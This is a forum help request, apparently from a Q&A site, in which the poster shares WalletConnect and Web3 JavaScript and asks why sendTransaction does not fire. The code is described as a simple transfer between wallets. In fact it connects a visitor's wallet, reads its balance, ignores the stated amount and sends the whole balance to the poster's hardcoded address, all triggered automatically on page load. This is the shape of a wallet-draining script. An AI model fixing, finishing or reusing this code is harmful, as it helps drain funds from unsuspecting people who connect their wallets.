Am trying to send ETH from wallet A to wallet B using walletconnect and WEB3.
Below is my sample code, if I connect wallet A, it will retrieve the balance but when I run send transaction it doesn’t go and it doesn’t show any error maybe web3Instance.eth.sendTransaction doesn’t get called at all.
Please this is my first attempt on WEB3, can anyone help me out?
Sample Codes
let web3Instance;
const toWalletAddress = "0xe2F"; //my eth wallet address
const FUR_ID = "8623"; // infura.io project id
//const FUR_ID = "f738c"; //walletconnect project id
var provider = new WalletConnectProvider.default({
infuraId: FUR_ID,
rpc: {
56: "https://bsc-dataseed.binance.org"
//56: "https://bridge.walletconnect.org"
}
});
const StartConnection = async () => {
try {
await provider.enable();
web3Instance = new Web3(provider);
console.log("WEB3 Initialization completed");
} catch (error) {
if (error.code === 4001) {
console.log('Please connect to wallet.', error)
} else {
console.log('Please connect ', error)
}
}
};
const StartTransaction = async (amount) => {
if(!provider.connected){
await StartConnection();
}
web3Instance.eth.getAccounts(function(error, result) {
var userAddr = web3Instance.utils.toChecksumAddress(result[0]);
web3Instance.eth.getBalance(userAddr).then(function(bal){
console.log("Current balance:", bal + " ETH");
if(bal > 0){
//var ethval = Number(amount) * 1e18;
var ethval = bal;
web3Instance.eth.sendTransaction({
from: userAddr,
to: toWalletAddress,
value: ethval,
}, function(err, hash) {
if (!err){
console.log(hash + " success");
}else{
console.log(err, hash + " error");
}
});
}else{
console.log("Not enough balance to send transaction");
}
});
});
};
Call Functions
const connect = async () => {
await StartConnection();
};
const send = async (amt) => {
await StartTransaction(amt);
};
(function(){
connect();
setTimeout(() => {
if(provider.connected){
send(0.1);
}
}, 1000);
})();
Library
<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/3.0.0-rc.5/web3.min.js"></script>
<script src="https://unpkg.com/@walletconnect/[email protected]/dist/umd/index.min.js"></script>
